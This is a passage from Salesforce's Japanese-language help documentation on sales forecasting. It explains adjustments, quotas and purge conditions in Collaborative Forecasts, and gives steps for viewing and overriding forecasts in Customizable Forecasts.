ます。部下の売上予測に行われた調整は、売上予測マネージャ自身の売上予測に積み上げ集計されます。調整
を行うときに、メモを含めることができます。この調整メモはレポートに表示されません。
たとえば、あなたが営業マネージャで、あなたの営業担当の 1 人の売上予測を 2,000 ドルから 1,500 ドルに下方
調整したとします。あなたの売上予測マネージャである副社長があなたの売上予測を確認すると 1,500 ドルと
共に、金額が調整されていることを示すアイコンが表示されます。副社長はこの売上予測を 2,000 ドルに戻す
ことを決定できます。
売上予測マネージャ自身の売上予測ページには、自分のすべての売上予測金額とそれに関連する商談の詳細が
表示されます。マネージャが部下の売上予測ページを表示すると、その部下に表示される合計が表示されま
す。マネージャが自分の売上予測ページで部下の金額に行った調整は、部下の売上予測ページには表示されま
せん。代わりに、部下の売上予測と、部下が自身の金額またはその部下の金額に加えた調整がマネージャに表
示されます。たとえば、あなたは営業統括責任者だとします。あなた自身の売上予測ページでは、第 1 レベル
の部下の 1 人である営業マネージャの 7 月の最善達成予測の売上予測が 1,250 ドル (あなたが行った調整 50 ドル
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を含む) と表示されています。ただし、営業マネージャの売上予測ページを表示すると、そのページにはあな
たの行った調整が含まれないため、7 月の最善達成予測の売上予測が 1,200 ドルと表示されます。マネージャと
部下が同じ売上予測金額を調整した場合、マネージャの調整のみが売上予測階層に積み上げ集計されます。
複数の売上予測種別を有効にしている場合、売上予測種別ごとに別々の調整が保持されます。たとえば、商談
収益の売上予測と商談数量の売上予測が有効になっている場合、各売上予測で売上予測金額を調整することが
できます。ただし、商談収益ベースの売上予測で行った調整は、他の売上予測種別では調整として表示されま
せん。そのため、商談収益の売上予測の金額を 100,000 ドルから 90,000 ドルに調整し、その後、売上予測ビュー
を切り替えると、商談数量売上予測に同じ調整値は表示されません。売上予測ビューを商談収益の売上予測に
戻すと、90,000 ドルの調整が表示されます。商品ファミリの売上予測を使用している場合、ユーザは各自の商
品ファミリの売上予測金額を調整することはできません。
商談が 1 つの売上予測分類から別の売上予測分類に移動する ([パイプライン] から [最善達成予測] に移動するな
ど) と、未調整の金額は積み上げ集計ごとに変更されます。ただし、[売上予測] ページの積み上げ集計テーブ
ルの調整された売上予測金額は変更されません。商談フェーズでの変更を考慮するには、各売上予測積み上げ
集計への調整を更新または削除することをお勧めします。

メモ: 売上予測ページを表示しているときに、部下が売上予測金額を調整していることや、関連する商談
を編集していることがあります。または、あなた自身があなたのページで部下の売上予測を調整する場
合もあります。これらのすべてのイベントによって、売上予測金額が変化します。最新の売上予測金額
を参照するには、[更新] をクリックします。

あなたの売上予測を表示および調整できるユーザは、次のとおりです。

売上予測を調整できる売上予測を表示
できる

ユーザ

いいえはいあなたのマネージャのマ
ネージャ

はい。マネージャが自分の売上予測ページから金額を調整しま
す。

はい自分のマネージャ

システム管理者が有効にしている場合は、はい。調整できるの
は、[私の商談] の小計ではなく、売上予測合計のみです。

はいあなた自身

いいえいいえあなたの直属部下

いいえいいえ直属ではない部下

あなたがどのユーザの売上予測を表示および調整できるかを次に示します。

売上予測を調整できる売上予測を表示
できる

ユーザ

いいえいいえあなたのマネージャのマ
ネージャ

いいえいいえ自分のマネージャ

Salesforce システム管理者が有効にしている場合は、はい。はいあなた自身
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売上予測を調整できる売上予測を表示
できる

ユーザ

はい。あなたが自分の売上予測ページからこれらの金額を調整
します。

はい。ただし、
直属の部下の売
上予測を選択し

あなたの直属部下

ても、その部下
と同じビューが
表示されるた
め、あなたの調
整は表示されま
せん。

いいえ。直属部下は、その部下自身の売上予測を調整できま
す。

はい。部下に表
示されるビュー
と同じビューが
表示されます。

直属ではない部下

売上予測を調整すると、次のようになります。
• Lightning Experience では、売上予測金額の横に アイコンが表示されます。
• Salesforce Classic では、売上予測金額の横に次のアイコンが表示されます。

定義Salesforce Classic のア
イコン

あなたが売上予測金額を調整しました。このアイコンは、あなたの売上予測ページ
にのみ表示されます。

あなたの部下が売上予測を調整しました。このアイコンは、あなたの売上予測ペー
ジと部下の売上予測ページに表示されます。

あなたと 1 人以上の部下が売上予測を調整しました。部下のユーザページにドリル
ダウンすると、その部下に表示されるページが表示されるため、あなたの売上予測
ページにのみ、このアイコンが表示されます。

調整を保存します。

調整を取り消し、売上予測の以前の値に戻します。ボタンにマウスを置くと、以前
の値に調整が含まれているかどうかが示されます。

調整に関する注意があります。
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定義Salesforce Classic のア
イコン

調整を削除し、以前の値に復元します。その値には他のユーザの調整が含まれる可
能性があります。

削除

関連トピック:

売上予測の調整
売上予測の調整の表示と編集
コラボレーション売上予測での調整消去
売上予測種別間の変更
売上予測の更新に関するガイドライン

売上予測の調整

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測を使用する
• 「売上予測を許可」

売上予測を調整する
• 「売上予測の上書き」

コラボレーション売上予測で最善達成予測または達成予測の売上予測金額に調
整を加えるには、売上予測テーブルの該当のセルをクリックして、新しい金額
を入力します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

売上予測を調整するには、調整が有効になっている必要があります。Salesforce

システム管理者は、マネージャが部下の売上予測を調整すること、すべてのコ
ラボレーション売上予測ユーザが各自の売上予測を調整すること、またはこの
両方を有効にすることができます。
商品ファミリ売上予測を使用している場合、すべての商品ファミリの合計では
なく、部下の個々の商品ファミリの合計を調整します。
1. 調整する売上予測を特定してから、そのセルにマウスカーソルを移動し、

をクリックします。
2. 調整を入力します。
3. 調整を行った理由を含める場合、メモ (最大 140 文字) を追加します。
4. 変更内容を保存します。売上予測を調整したことを示すアイコンがセルに表

示されます。ページの期間範囲合計行に調整が積み上げ集計されます。

関連トピック:

コラボレーション売上予測での売上予測の調整
売上予測の調整の表示と編集
コラボレーション売上予測での調整消去
売上予測種別間の変更
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売上予測の調整の表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測を使用する
• 「売上予測を許可」

売上予測を調整する
• 「売上予測の上書き」

コラボレーション売上予測の売上予測調整について、調整を行ったユーザ、調
整金額、および元の総積み上げ (調整前の売上予測金額) などの詳細を表示しま
す。必要に応じて、自分で行った調整を編集します。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. 表示または編集する調整済み売上予測を見つけます (調整済み売上予測金額
の横に、インジケータが表示されます)。

2. 調整内容の詳細を表示するには、次のいずれかを実行します。
• Lightning Experience を使用している場合は、 をクリックします。
• Salesforce Classic を使用している場合は、マウスポインタを売上予測のセル

に置きます。

3. 適用した調整を編集または削除するには、 をクリックします。

関連トピック:

コラボレーション売上予測での売上予測の調整
売上予測の調整

1812

コラボレーション売上予測によるセールスサイクルの予
測と計画

顧客への営業



コラボレーション売上予測での調整消去

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

一部の売上予測とカスタム会計年度の設定を変更すると、調整を消去できます。
売上予測の基盤となるデータには影響しません。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

Salesforce システム管理者が次のいずれかの操作を行ったときに調整消去が実行
されます。
• コラボレーション売上予測を無効にする。
• マネージャの調整を無効にする。売上予測マネージャが部下の売上予測に

行った調整のみが消去されます。
• 所有者の調整を無効にする。売上予測ユーザが自分の売上予測に行った調整

のみが消去されます。
• 売上予測期間の設定を毎四半期から毎月または毎月から毎四半期に変更す

る。
• 売上予測種別を無効にする。無効にされた売上予測種別の調整のみが消去さ

れます。
• 売上予測期間が四半期に設定されている場合に、会計年度の開始月を変更す

る。目標と調整が消去されます。
• 商品ファミリを削除する。削除された商品ファミリの調整と目標が消去され

ます。
• 累積売上予測積み上げ集計から個別の売上予測分類積み上げ集計に切り替える、またはその逆に切り替え

る。
• カスタム会計年度を初めて作成する。対応する標準会計年度以降の調整と目標はすべて消去されます。
• カスタム会計期間または四半期を削除する。その期間または四半期の売上予測の調整と目標も削除されま

す。
次のどちらかに該当する場合にも調整消去が実行されます。
• 売上予測マネージャではなくなった。あなたが部下の売上予測金額に行った調整のみが消去されます。
• 売上予測階層で売上予測マネージャとして設定されているロールからあなたが削除された。あなたが部下

の売上予測金額に行った調整のみが消去されます。

関連トピック:

コラボレーション売上予測での売上予測の調整
売上予測の調整
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コラボレーション売上予測の目標

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

使用可能なエディション:
「API の有効化」権限のあ
る Professional Edition

売上予測目標は、営業チームメンバーに割り当てられる月別または四半期別の
売上目標です。マネージャの売上目標は、マネージャおよびチームに期待され
る金額の合計と等しくなります。目標の積み上げ集計はユーザおよびマネージャ
が手動で実行し、収益または数量のデータを使用できます。複数の売上予測種
別を有効にしている場合、種別ごとに別々の目標情報が保持されます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

売上予測目標が有効になっている場合、目標データが売上予測ページの次の場
所に表示されます。
• 特定期間の目標金額を含む列。売上予測に商品ファミリが含まれる場合は、

この列に各商品ファミリの目標が含まれます。
• 特定の売上予測積み上げ集計の特定期間で達成された金額の割合を含む行

(Salesforce Classic のみ)。

コラボレーション売上予測で目標を使用する場合の考慮事項
売上予測目標を使用する前に、いくつかの考慮事項を確認してください。
コラボレーション売上予測での目標情報の表示および非表示
意図したとおりに売上予測ページが表示されるように、目標データを表示したり、非表示にしたりします。

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能

コラボレーション売上予測で目標を使用する場合の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

使用可能なエディション:
「API の有効化」権限のあ
る Professional Edition

売上予測目標を使用する前に、いくつかの考慮事項を確認してください。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

• Lightning Experience では目標達成率情報を表示できません。
• 商品ファミリの売上予測では、営業マネージャは、自身の個別の商品ファミ

リの目標および目標達成率を参照することができません。積み上げ集計テー
ブルに表示されるのは総目標のみです。たとえば、3 人の営業担当の目標金
額が合わせて 75,000 ドルで、その売上予測マネージャの個人の目標金額が
30,000 ドルの場合、マネージャの目標は 105,000 ドルになります。
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• 編集できるのは直属の部下の目標のみで (「目標を管理」権限が必要)、自分の目標は編集できません。

関連トピック:

コラボレーション売上予測の概念
コラボレーション売上予測での目標情報の表示および非表示
コラボレーション売上予測の目標の有効化

コラボレーション売上予測での目標情報の表示および非表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

使用可能なエディション:
「API の有効化」権限のあ
る Professional Edition

ユーザ権限

目標を使用する
• 「売上予測を許可」

および

「目標を管理」

意図したとおりに売上予測ページが表示されるように、目標データを表示した
り、非表示にしたりします。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. 次のいずれかの操作を実行します。
a. Lightning Experience を使用している場合は、売上予測ページの右上にある

ギアをクリックします。
b. Salesforce Classic を使用している場合は、[表示オプション] をクリックしま

す。

2. 各期間の目標金額を表示するには、[[目標] 列を表示] を選択します。
3. 選択した期間での特定の積み上げ集計の目標達成率を表示するには、[目標達

成率を表示] を選択します (Salesforce Classic のみ)。各売上予測金額の下に表示
されるパーセントは、金額が表すユーザの目標の比率を示します。

使用している売上予測種別に応じて、目標情報に収益または数量が表示されま
す。複数の売上予測種別を有効にしている場合、売上予測種別ごとに別々の目
標情報が保持されます。目標情報を非表示にするには、これらのオプションの
選択を解除します。

関連トピック:

コラボレーション売上予測で目標を使用する場合の考慮事項
コラボレーション売上予測の目標の有効化

FAQ - 売上予測によるセールスサイクルの予測と計画

FAQ - 売上予測
• 売上予測のバージョン間の違いは?
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• 商談フェーズと売上予測分類の対応付けの表示と更新

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能
コラボレーション売上予測の概念

売上予測のバージョン間の違いは?

コラボレーション売上予測には、カスタマイザブル売上予測とほぼ同じ機能が含まれています。
売上予測の各バージョンで使用できる機能を参照してください。コラボレーション売上予測に移行する場合
は、「カスタマイザブル売上予測からコラボレーション売上予測への移行に関する考慮事項」 (ページ 2261)を
参照してください。

コラボレーション売上予
測

カスタマイザブル売上予
測

機能

API へのアクセス

自動積み上げ集計

リアルタイムのチャット

カスタム会計年度

(Professional Edition では利用
できません)

カスタム商談通貨項目の売上予測

デフォルトの売上予測通貨設定

個々の売上予測範囲の選択 — ユーザ制御

商談フェーズへの売上予測分類の対応付け

月別売上予測

マルチ通貨のサポート

カスタム商談通貨項目を
使用して調整金額および

商談レベルでの調整

カスタム項目の売上予測
を保存し、その項目の積
み上げ集計を追跡できま

す。

商談リストの絞り込みと並び替え

(Professional Edition では利用
できません)

商談分割の売上予測
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コラボレーション売上予
測

カスタマイザブル売上予
測

機能

商談フェーズ

(Professional Edition では利用
できません)

オーバーレイ分割の売上予測

売上予測の上書き (調整)

メモの上書き (調整)

(Professional Edition では利用
できません)

売上予測でのパートナー商談

(Lightning Experience には、
商品ファミリの売上予測
ビューがありません)

商品ファミリの売上予測

商品スケジュールの売上予測

(Lightning Experience には目
標達成率情報がありませ

ん)

目標

数量ベースの売上予測

四半期別売上予測

カテゴリの名前変更

レポートとダッシュボード

売上予測テーブルの列のサイズ変更

収益売上予測

(パイロット、API のみ)

売上予測の共有

スナップショットと売上予測履歴

並び替え可能な売上予測ページの商談リスト

売上予測の登録
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コラボレーション売上予
測

カスタマイザブル売上予
測

機能

(元のテリトリー管理機能
のみ。エンタープライズ

テリトリー管理

テリトリー管理はサポー
トされていません)

関連トピック:

セールス機能: Lightning Experience で使用できない機能とその新機能
FAQ - 売上予測

テリトリー管理を使用できないのはなぜですか?

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイザブル売上予測] には適用され
ません。

テリトリー管理はカスタマイザブル売上予測には使用できますが、コラボレーション売上予測には使用できま
せん。

関連トピック:

FAQ - 売上予測
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カスタマイザブル売上予測による収益および売上の予測

カスタマイザブル売上予測の概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

他のユーザの売上予測を
参照する
• 「すべての売上予測の

参照」

売上予測を上書きする
• 「売上予測の上書き」

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

カスタマイザブル売上予測は、組織がどのくらいの収益を得ることができるか、
または組織がどのくらいの品目を販売できるかを予測するための柔軟なソリュー
ションです。カスタマイザブル売上予測は、組織で売上を予測する方法を反映
するように設定できます。カスタマイザブル売上予測により、毎月または四半
期ごとの売上予測の実行、売上予測に金額を適用する際の異なる日付の使用、
収益または数量に基づく売上予測の実行、商品ファミリに基づく目標の定義の
追加などが可能になります。
カスタマイザブル売上予測を使用して、予測を見直し、売上予測金額を分析し
て自分の売上予測に含まれる商談を確認します。商談から直接売上予測金額を
上書きするか、[売上予測] タブから、売上予測のロール階層内で自分より下位に
位置するユーザの売上予測を非通知で上書きします。
[売上予測] タブをクリックすると、選択した売上予測期間の売上予測が表示され
ます。
• 売上予測を登録し、売上予測データを売上予測履歴と売上予測レポートで使

用できるようにするには、[送信] をクリックします。「カスタマイザブル売
上予測の登録」を参照してください。

• 過去に登録した売上予測データを表示するには、[売上予測履歴] をクリック
します。次に、[売上予測ホーム] クリックすると、現在の売上予測データに戻ります。

• 選択した売上予測を単純な印刷レイアウトで表示するには、[印刷用に表示] をクリックします。
• 自分の売上予測と、共有を直接設定した直属部下の売上予測を見直します。別の表示オプションに関する

手順は、「カスタマイザブル売上予測の表示」を参照してください。
• 売上予測の詳細を参照するには、[売上予測] サブタブをクリックします。詳細は、「カスタマイザブル売

上予測の表示」を参照してください。
• 表示されている売上予測に含まれる商談を表示するには、[商談] サブタブをクリックします。[商談] サブタ

ブでは、表示されている商談をさらに絞り込むためのリストビューを選択または作成できます。詳細は、
「カスタマイザブル売上予測の表示」を参照してください。

• 調整後の合計を変更したり、特定の売上予測金額に上書きを追加するには、編集アイコン ( ) をクリッ
クします。売上予測金額の上書きについては、「カスタマイザブル売上予測の上書き」を参照してくださ
い。

売上予測を利用できない場合は、管理者に連絡して、売上予測階層 (組織でテリトリー管理を使用している場
合は、テリトリー階層) に追加してもらいます。

メモ:  [売上予測] タブは、商談データに基づいてデータを自動的に計算する点が、他のタブと異なります。
売上予測レコードを作成または削除する必要はありません。
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組織のカスタマイザブル売上予測の実装については、「カスタマイザブル売上予測の設定」を参照してくださ
い。

関連トピック:

カスタマイザブル売上予測が有効か?

売上予測のバージョン間の違いは?

カスタマイザブル売上予測の管理

カスタマイザブル売上予測が有効か?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

カスタマイザブル売上予測に変換してもタブ名は変わらないため、カスタマイ
ザブル売上予測を区別するのは困難です。ここでは、カスタマイザブル売上予
測が有効かどうかを判断する方法を示します。
[売上予測] タブをクリックします。
• [カスタマイザブル売上予測のご紹介]ボタンか [今すぐリクエスト!]ボタンの

いずれかが表示されている場合は、カスタマイザブル売上予測は有効ではあ
りません。

• どちらのボタンも表示されていない場合は、すでに組織でカスタマイザブル
売上予測は有効です。

カスタマイザブル売上予測を有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「カスタマイザブル売上予測」と入力し、[売上予測階層] を選択し

ます。
2. [カスタマイザブル売上予測の有効化] を選択します。
3. カスタマイザブル売上予測を有効化したら、「カスタマイザブル売上予測の設定」を参照してください。

関連トピック:

カスタマイザブル売上予測の概要
売上予測のバージョン間の違いは?
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カスタマイザブル売上予測の目標の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

目標を設定する
• 「自分の目標の編集」

ユーザの目標を設定する
• 「内部ユーザの管理」

および

「すべてのデータの編
集」

適切な権限を持つユーザが、各自の目標を設定できます。管理者、および適切
な権限を持つユーザは、いつでも目標を編集でき、マネージャは、ロール階層
の中で直下の部下にあたるユーザの目標をいつでも変更できます。
1. 次のいずれかの操作を実行します。

• 個人の目標を設定するには、個人設定の個人情報にアクセスします。
• 自分の部下にあたるユーザの目標を変更するには、[設定] から、[クイッ

ク検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択して、該当する
ユーザの氏名をクリックします。

2. 目標関連リストで [編集] をクリックします。
3. 適切な範囲開始と範囲期間を選択します。選択できる場合は、テリトリーと

商品ファミリを選択します。

メモ: 組織でカスタムの会計年度を使用している場合、会計年度を定義
していない期間の目標は設定できません。

4. 収益の目標額と数量を入力します。
5. 2 つ以上の通貨を使用する場合は、該当する通貨を選択します。
6. [保存]をクリックして目標額を保存し、ユーザの詳細ページに戻るか、[適用]

をクリックして値を保存し、引き続き目標額を編集します。

ヒント: [適用] を使用することにより、ユーザの各商品ファミリに対し
て、異なる目標を素早く設定できます。

メモ: これらのオプションが使用できない場合は、カスタマイザブル売上予測が有効になっていない可能
性があります。組織がカスタマイザブル売上予測を有効化するかどうかを判断するには、「カスタマイ
ザブル売上予測が有効か?」 (ページ1820)を参照してください。代理管理者にはユーザレコードの目標関連
リストは表示されません。

データローダのようなツールを使用して、目標に対して一括更新を行うこともできます。目標を更新する場合
は、RevenueForecast オブジェクト、または QuantityForecast オブジェクトの目標項目の値を設定しま
す。

関連トピック:

カスタマイザブル売上予測の概要
カスタマイザブル売上予測の管理
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売上予測分類の使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

売上予測は、商談金額、日付、およびフェーズを表します。[売上予測] タブをク
リックすると、売上予測金額が異なるカテゴリに分かれて表示されます。フェー
ズに応じて、商談金額を次の売上予測分類に表示できます。
• [最善達成予測] は、完了する可能性の高い金額、完了または成立した商談の

金額、および [達成予測] の金額です。
• [完了] は、完了または成立した商談の総金額です。
• [達成予測] は、完了する確信がある商談の金額、および完了または成立した

商談の金額です。
• [売上予測から除外] は、金額が売上予測に加算されないことを意味します。
• [パイプライン] は、進行中のすべての商談の金額です。

メモ: 商談の売上予測分類項目を編集して、レポート、商談の詳細および編集のページ、商談の検索、お
よび商談リストビューに表示される値を変更できます。たとえば、[達成予測] の値を [成立] に設定して、
売上予測分類名をビジネスプロセスに一致させることができます。

商談 [フェーズ] 選択リスト内のそれぞれの値は、[確度] および [売上予測分類] 選択リストの値に自動的に
対応付けられます。商談の [フェーズ] を変更すると、[確度] と [売上予測分類] が連動して変更されます。
たとえば、組織で「最終交渉」フェーズが「最善達成」売上予測分類に対応付けられている場合があります。
この場合、「最終交渉」フェーズにある商談の金額は、「最善達成」の売上予測金額に表示されます。組織ご
とに異なる対応付けを設定できますが、以下が対応付けの一例です。

売上予測分類確度フェーズ

パイプライン10%コンタクト

パイプライン10%評価

パイプライン20%ニーズの把握

パイプライン50%値の提示

パイプライン60%ID 決定者

パイプライン70%認識分析

パイプライン75%提案書/見積書の作成

最善達成予測90%最終交渉

達成予測100%商談成立
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カスタマイザブル売上予測を使用しているかどうかに関係なく、売上予測は、商談 [フェーズ] 選択リスト値
が [売上予測分類] 選択リストの値とどのように対応するかによって決まります。

関連トピック:

カスタマイザブル売上予測の概要
カスタマイザブル売上予測の管理

カスタマイザブル売上予測の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

他のユーザの売上予測を
参照する
• 「すべての売上予測の

参照」

売上予測を上書きする
• 「売上予測の上書き」

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

売上予測は、商談金額、日付、およびフェーズを表します。自分の売上予測が
収益の可能性を正確に表しているかを確認する手順は、次のとおりです。
1. 売上予測金額を確認します。別の表示オプションに関する手順は、「カスタ

マイザブル売上予測の表示」を参照してください。
2. 金額を上書きするかどうかを決めます。
3. 必要に応じて、金額を上書きします。そのためには、適切なユーザ権限が必

要です。「カスタマイザブル売上予測の上書き」 (ページ1826)を参照してくだ
さい。

4. 売上予測を登録して、売上予測データを売上予測履歴と売上予測レポートで
使用できるようにします。「カスタマイザブル売上予測の登録」を参照して
ください。
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カスタマイザブル売上予測の表示

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

他のユーザの売上予測を
参照する
• 「すべての売上予測の

参照」

売上予測を上書きする
• 「売上予測の上書き」

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

[売上予測] タブをクリックし、表示された金額をレビューして、登録できる状態
かどうか判断します。
• 最初は、[売上予測を検索:] の上にあるタイトルバーにユーザの名前が表示

されます。これは、現在自分の売上予測を表示していることを示します。適
切な権限を持っている場合は、虫眼鏡アイコンをクリックして別のユーザま
たはロールを選択し、そのユーザの売上予測を参照できます。他のユーザの
売上予測を表示している場合は、[売上予測を検索:]の上にあるタイトルバー
に、そのユーザのロールまたはユーザ名が表示されます。また、[売上予測
を検索:] の上には、ユーザのアクセス権限レベルが表示されます。

メモ: ユーザ共有では、カスタマイザブル売上予測は完全にはサポート
されていません。ユーザオブジェクトの組織の共有設定に関係なく、組
織のすべてのユーザが表示されます。

• 組織で手動による売上予測の共有を使用している場合は、[共有] をクリック
して売上予測共有設定を表示したり、他のユーザと売上予測を共有したりで
きます。

• 組織がテリトリーを使用している場合は、[テリトリー]選択リストからオプ
ションを選択して、そのテリトリーで売上予測を集計できます。「テリト
リー管理に関するオブジェクト」を参照してください。

• 組織で商品ファミリを使用している場合は、[商品ファミリ] 選択リストからオプションを選択し、その商
品ファミリによって売上予測を集計できます。[--すべて--] の商品ファミリを選択すると、[送信]、およ
び [売上予測履歴] オプションが無効になります。これらのオプションを参照するには、別の商品ファミリ
を選択します。商品ファミリの使用における組織のカスタマイズについては、「カスタマイザブル売上予
測設定の定義」を参照してください。

• 組織で収益と数量の両方について売上予測を実行する場合は、収益、数量、または収益と数量を対象とす
るかどうかを選択します。これにより、リストに表示される各数値情報が制御されます。

• 別の売上予測期間を表示するには、[範囲開始]から日付範囲の開始を選択します。カスタマイザブル売上
予測を実装する 2 年以上前に完了した商談、または 10 年以上先の商談の詳細は表示できません。

メモ: Salesforce Winter '07 リリース前にカスタマイザブル売上予測を実装した組織では、この範囲外の予
測を参照できます。

• 表示する売上予測期間を変更するには、[範囲期間] で選択します。

メモ: カスタム会計年度を使用する場合、最初に定義されたカスタム会計年度よりも前の期間、また
は、最後に定義された会計年度よりも後の期間には、範囲開始と期間の長さにカレンダー月または四
半期 (売上予測の設定によって異なる) を使用します。

• 別の測定単位を使用して売上予測合計を表示するには、[表示単位]の横にあるオプションを選択します。
自分の目標の各合計部分を表示するには、[目標(%)] を選択します。
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売上予測履歴の表示
[売上予測] タブから売上予測を表示する場合は、[売上予測履歴] をクリックして、登録した売上予測データの
スナップショットを表示します。また、下位ロールに属するユーザが登録した売上予測を参照することもでき
ます。前の画面に戻るには、[売上予測ホーム] クリックします。

売上予測金額の詳細の表示
売上予測の詳細を参照するには、[売上予測] サブタブを選択します。売上予測金額をクリックすると、その売
上予測金額に含まれる商談金額の詳細が表示されます。詳細ページで、表示する商談をクリックします。上書
きする場合は、[編集]をクリックします。商談で売上予測金額を上書きする手順については、「カスタマイザ
ブル売上予測の上書き」を参照してください。
直属部下 (自分に直接報告するユーザ) がいる場合は、部下の売上予測が自分の売上予測の下に表示されます。
[ビューの選択] オプションを使用して、直属部下の売上予測情報を表示できます。このオプションでは、売
上予測データを期間で表示するか、または直属部下ごとに表示するかを選択します。
• [期間で表示] をクリックすると、期間ごとに直属部下やその売上予測が表示されます。特定のユーザの売

上予測を表示するには、名前をクリックします。
• [直属部下ごとに表示] をクリックすると、直属部下ごとに売上予測合計が表示されます。特定のユーザの

売上予測を表示するには、部下の名前の隣にある [表示] をクリックします。
• 金額をクリックすると、上書き金額を含んだ商談と売上予測金額が表示されます。

商談の表示
表示されている売上予測に含まれる商談を参照するには、[商談] サブタブを選択します。[商談] サブタブでは、
表示されている商談をさらに絞り込むためのリストビューを選択または作成できます。商談をクリックする
と、その商談の詳細が参照されます。商談を上書きするには、[編集]をクリックします。商談の上書きについ
ての詳細は、「カスタマイザブル売上予測の上書き」を参照してください。
「すべての売上予測の参照」権限を持っている場合は、共有設定に関係なく [商談] サブタブに商談を表示でき
ます。

メモ: パートナーポータルが他の取引先に移行されると、各取引先の商談は、組織の売上予測階層で自動
的に再計算されます。

関連トピック:

カスタマイザブル売上予測の概要
カスタマイザブル売上予測の管理
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カスタマイザブル売上予測の上書き

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

他のユーザの売上予測を
参照する
• 「すべての売上予測の

参照」

売上予測を上書きする
• 「売上予測の上書き」

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

必要に応じて売上予測金額を上書きすることにより、売上予測をより正確に見
積もることができます。どのユーザでも、商談の [フェーズ] または [売上予測
分類] を変更することにより、商談の売上予測を上書きできます。「売上予測
の上書き」権限を持つユーザは、自分の売上予測や直属部下の売上予測を、売
上予測レベルで上書きできます。
商談が 1 つの売上予測分類から別の売上予測分類に移動する ([最善達成予測] か
ら [達成予測] に移動するなど) と、未調整の金額はカテゴリごとに変更します
が、上書きされた金額は変更しません。商談のフェーズで変更を考慮するには、
各売上予測カテゴリへの上書きを更新または削除する必要があります。

商談からの売上予測の上書き
1. [売上予測] ページの [商談] サブタブをクリックします。
2. 上書きする商談の [編集] をクリックします。
3. 詳細に変更を加えます。選択可能なオプションは、商談を所有しているかど

うかによって異なります。
4. 商談に商品があり、その商品の売上予測分類を変更する場合は、[売上予測分

類の変更] を選択して、該当する [商品の売上予測分類] オプションを選択します。
5. [保存] をクリックします。商談が、上書き状況を示すアイコンでマークされます。

レコードを更新し、合計を再表示するには、[保存 & 更新] をクリックします。

売上予測の上書き
1. [売上予測] ページの [売上予測] サブタブをクリックします。
2. 調整後の合計を上書きする場合は、編集アイコン ( ) をクリックします。
3. 新しい金額とコメントを入力します。
4. [保存] をクリックします。売上予測が、上書き状況を示すアイコンでマークされます。

直属部下の売上予測の上書き
1. [売上予測] ページの [売上予測] サブタブをクリックします。
